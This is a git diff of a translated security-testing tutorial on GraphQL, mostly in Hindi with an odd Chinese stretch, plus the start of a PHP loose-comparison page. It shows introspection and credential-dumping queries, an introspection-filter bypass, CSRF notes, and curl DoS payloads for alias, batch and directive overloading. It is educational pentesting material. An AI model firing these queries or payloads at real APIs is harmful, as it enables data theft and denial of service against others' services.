||||
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्कों का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
|
||||
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -172,7 +172,7 @@ name
|
||||
|
||||
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए **कुछ मान निकालने** की कोशिश करते हैं।
|
||||
|
||||
इंट्रोस्पेक्शन में आप **यह पता लगा सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
|
||||
इंट्रोस्पेक्शन में आप **यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
|
||||
|
||||

|
||||
|
||||
@ -192,7 +192,7 @@ query={flags{name, value}}
|
||||
```javascript
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_".\
|
||||
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
|
||||
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
|
||||
|
||||
.png>)
|
||||
@ -204,7 +204,7 @@ query = { hiddenFlags }
|
||||
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\
|
||||
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
|
||||
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
|
||||
|
||||
तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
@ -217,13 +217,13 @@ query = { hiddenFlags }
|
||||
|
||||
और **enumeration phase** के दौरान मैंने खोजा कि "_**dbuser**_" ऑब्जेक्ट के पास "_**user**_" और "_**password**_" के रूप में फ़ील्ड थे।
|
||||
|
||||
**Query string dump trick (thanks to @BinaryShadow\_)**
|
||||
**Query string dump trick (धन्यवाद @BinaryShadow\_)**
|
||||
|
||||
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना जाता है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।
|
||||
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना गया है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।
|
||||
|
||||
### Searching
|
||||
### खोज
|
||||
|
||||
इस सेटअप में, एक **database** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** शामिल हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** द्वारा की जाती है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी होना दर्शाती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
|
||||
|
||||
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
|
||||
```javascript
|
||||
@ -233,7 +233,7 @@ email
|
||||
}
|
||||
}
|
||||
```
|
||||
आप व्यक्तियों को नाम से खोज सकते हैं और उनकी सब्सक्राइब की गई फ़िल्में प्राप्त कर सकते हैं:
|
||||
आप व्यक्तियों को **नाम** द्वारा **खोज** सकते हैं और उनके **सदस्यता** प्राप्त **फिल्मों** को प्राप्त कर सकते हैं:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
@ -289,7 +289,7 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** से पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** से। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी होना दर्शाता है कि डेटाबेस के भीतर संबंध हैं।
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** से पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** से। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं।
|
||||
|
||||
डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
|
||||
```javascript
|
||||
@ -302,9 +302,9 @@ rating
|
||||
}
|
||||
}
|
||||
```
|
||||
**नोट करें कि कैसे दोनों मान और डेटा के प्रकार को क्वेरी में दर्शाया गया है।**
|
||||
**नोट करें कि क्वेरी में डेटा के दोनों मान और प्रकार कैसे इंगित किए गए हैं।**
|
||||
|
||||
इसके अतिरिक्त, डेटाबेस एक **mutation** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **persons** के निर्माण की अनुमति देता है साथ ही उनके मौजूदा **friends** और **movies** के साथ संबंध बनाने की भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से जोड़ने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
|
||||
इसके अतिरिक्त, डेटाबेस एक **म्यूटेशन** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **व्यक्तियों** के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा **दोस्तों** और **फिल्मों** के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
@ -353,13 +353,13 @@ GraphQL API के माध्यम से **विभिन्न क्र
|
||||
|
||||
越来越多的 **graphql 端点正在禁用 introspection**。然而,当收到意外请求时,graphql 抛出的错误足以让像 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) 这样的工具重建大部分架构。
|
||||
|
||||
此外,Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求** 并 **构建** 一个内部 GraphQL **架构**,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时,扩展返回一个假响应。因此,GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息,请 [**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
此外,Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求** 并 **构建** 一个内部 GraphQL **架构**,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时,扩展返回一个假响应。结果,GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息,请 [**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
一个不错的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
一个很好的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
|
||||
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
API 中对 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加像 **空格、换行符和逗号** 这样的字符,GraphQL 会忽略这些字符,但正则表达式可能没有考虑到,因此可以绕过限制。例如,带有换行符的 introspection 查询在 `__schema` 之后可能会绕过此类防御:
|
||||
API中的 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加像 **空格、换行符和逗号** 这样的字符,GraphQL 会忽略这些字符,但正则表达式可能没有考虑到,因此可以绕过限制。例如,带有换行符的 introspection 查询可能会绕过此类防御:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
|
||||
```
|
||||
### **खुली GraphQL संरचनाओं का पता लगाना**
|
||||
|
||||
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। इन क्वेरीज़ को डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाया जा सकता है, जो API के स्कीमा के बारे में जानकारी प्रदान करता है और संभावित रूप से **खुली संवेदनशील क्वेरीज़** को उजागर करता है। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
|
||||
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड प्रश्नों के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। इन प्रश्नों को डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाया जा सकता है, जो API के स्कीमा के बारे में जानकारी प्रदान करता है और संभावित रूप से **खुली संवेदनशील प्रश्नों** को उजागर करता है। डेवलपर टूल्स में खोजने के लिए आदेश हैं:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
@ -411,9 +411,9 @@ file:* query
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
वहाँ आप कई GraphQL एंडपॉइंट्स पाएंगे **जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।**
|
||||
वहाँ आप कई GraphQL एंडपॉइंट्स **CSRF टोकन के बिना कॉन्फ़िगर किए गए** पाएंगे।
|
||||
|
||||
ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type **`application/json`** होता है।
|
||||
ध्यान दें कि GraphQL अनुरोध आमतौर पर **`application/json`** सामग्री प्रकार का उपयोग करके POST अनुरोधों के माध्यम से भेजे जाते हैं।
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
@ -421,19 +421,19 @@ file:* query
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं।
|
||||
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि **CSRF का दुरुपयोग करके** GraphQL में **परिवर्तन** किए जा सकें।
|
||||
|
||||
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।
|
||||
|
||||
ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
|
||||
ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
|
||||
|
||||
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/index.html) **हमले** का दुरुपयोग करके GraphQL अंत बिंदु से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
|
||||
|
||||
अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
|
||||
अधिक जानकारी के लिए **यहां मूल पोस्ट देखें** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
|
||||
|
||||
## GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग
|
||||
## GraphQL में क्रॉस-साइट वेब्सॉकेट हाइजैकिंग
|
||||
|
||||
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेबसॉकेट हाइजैकिंग** करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
|
||||
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **क्रॉस-साइट वेब्सॉकेट हाइजैकिंग** करना भी संभव है ताकि GraphQL के साथ **असुरक्षित कुकीज़** के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
@ -445,7 +445,7 @@ GraphQL का दुरुपयोग करते हुए CRSF कमजो
|
||||
|
||||
अंत बिंदु पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
|
||||
|
||||
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [लीक](https://hackerone.com/reports/792927) हो सकते हैं।
|
||||
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [leaked](https://hackerone.com/reports/792927) हो सकते हैं।
|
||||
|
||||
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
|
||||
```javascript
|
||||
@ -490,7 +490,7 @@ valid
|
||||
|
||||
### Alias Overloading
|
||||
|
||||
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:
|
||||
**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दिए गए क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो संभावित रूप से CPU या मेमोरी को समाप्त कर सकता है:
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
|
||||
|
||||
### **एरे-आधारित क्वेरी बैचिंग**
|
||||
|
||||
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा से इनकार (DoS)** की स्थिति पैदा कर सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
|
||||
**एरे-आधारित क्वेरी बैचिंग** एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से **सेवा का अस्वीकरण (DoS)** का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -509,11 +509,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समाहित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि इसे बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ शोषित किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
|
||||
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में बैच किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
|
||||
|
||||
### **निर्देश ओवरलोडिंग कमजोरियाँ**
|
||||
|
||||
**निर्देश ओवरलोडिंग** तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को प्रोसेस करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे कई दोहराए गए निर्देशों के साथ एक क्वेरी तैयार करके शोषित कर सकता है, जिससे उच्च गणनात्मक या मेमोरी उपयोग उत्पन्न होता है, जो **सेवा से इनकार (DoS)** की ओर ले जाता है।
|
||||
**निर्देश ओवरलोडिंग** तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को प्रोसेस करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे कई दोहराए गए निर्देशों के साथ एक क्वेरी तैयार करके शोषण कर सकता है, जिससे उच्च गणनात्मक या मेमोरी उपयोग उत्पन्न होता है, जो **सेवा से इनकार (DoS)** की ओर ले जाता है।
|
||||
```bash
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -550,16 +550,16 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
|
||||
### Vulnerability scanners
|
||||
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): GraphQL एंडपॉइंट्स की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
|
||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): graphql endpoints की सामान्य गलत कॉन्फ़िगरेशन का परीक्षण करें
|
||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): बैच GraphQL क्वेरी और म्यूटेशन करने पर ध्यान केंद्रित करने वाला GraphQL सुरक्षा ऑडिटिंग स्क्रिप्ट।
|
||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): उपयोग में लाए जा रहे graphql की फिंगरप्रिंटिंग करें
|
||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): टूलकिट जिसका उपयोग स्कीमाओं को प्राप्त करने और संवेदनशील डेटा की खोज, प्राधिकरण का परीक्षण, ब्रूट फोर्स स्कीमाओं और एक दिए गए प्रकार के लिए पथ खोजने के लिए किया जा सकता है।
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): इसे स्टैंडअलोन के रूप में या [Burp extension](https://github.com/doyensec/inql) के रूप में उपयोग किया जा सकता है।
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): इसे CLI क्लाइंट के रूप में भी उपयोग किया जा सकता है ताकि हमलों को स्वचालित किया जा सके: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): टूल जो **GraphQL स्कीमा में एक दिए गए प्रकार तक पहुँचने के विभिन्न तरीकों** की सूची बनाता है।
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL के स्टैंडअलोन और CLI मोड का उत्तराधिकारी
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL एंडपॉइंट या एक स्थानीय अंतर्दृष्टि स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है।
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही अंतर्दृष्टि अक्षम हो।
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): उन्नत GraphQL परीक्षण के लिए Burp extension या python स्क्रिप्ट। _**Scanner**_ InQL v5.0 का मुख्य भाग है, जहाँ आप एक GraphQL endpoint या एक स्थानीय introspection स्कीमा फ़ाइल का विश्लेषण कर सकते हैं। यह सभी संभावित क्वेरी और म्यूटेशन को स्वचालित रूप से उत्पन्न करता है, उन्हें आपके विश्लेषण के लिए एक संरचित दृश्य में व्यवस्थित करता है। _**Attacker**_ घटक आपको बैच GraphQL हमले चलाने की अनुमति देता है, जो खराब कार्यान्वित दर सीमाओं को पार करने के लिए उपयोगी हो सकता है: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): कुछ Graphql डेटाबेस की मदद से स्कीमा प्राप्त करने की कोशिश करें जो म्यूटेशन और पैरामीटर के नाम सुझाएंगे, भले ही introspection अक्षम हो।
|
||||
|
||||
### Clients
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## कुकीज़ का सामान्य स्थान:
|
||||
## Cookies सामान्य स्थान:
|
||||
|
||||
यह phpMyAdmin कुकीज़ के लिए भी मान्य है।
|
||||
|
||||
@ -33,13 +33,13 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
- `"string" == 0 -> True` एक स्ट्रिंग जो संख्या से शुरू नहीं होती है, वह एक संख्या के बराबर होती है
|
||||
- `"0xAAAA" == "43690" -> True` संख्याओं से बनी स्ट्रिंग्स को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्यायित की जाती हैं)
|
||||
- `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर (X कोई भी अक्षर हो सकता है) और किसी भी चीज़ के बाद आने वाली स्ट्रिंग 0 के बराबर होगी
|
||||
- `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" की स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश की जा रही है और इसकी तुलना की जा रही है। इसलिए, यदि आप एक ऐसा मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाए और बिना किसी अक्षर के, तो आप तुलना को बायपास कर सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग्स** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर int 0 के बराबर होता है
|
||||
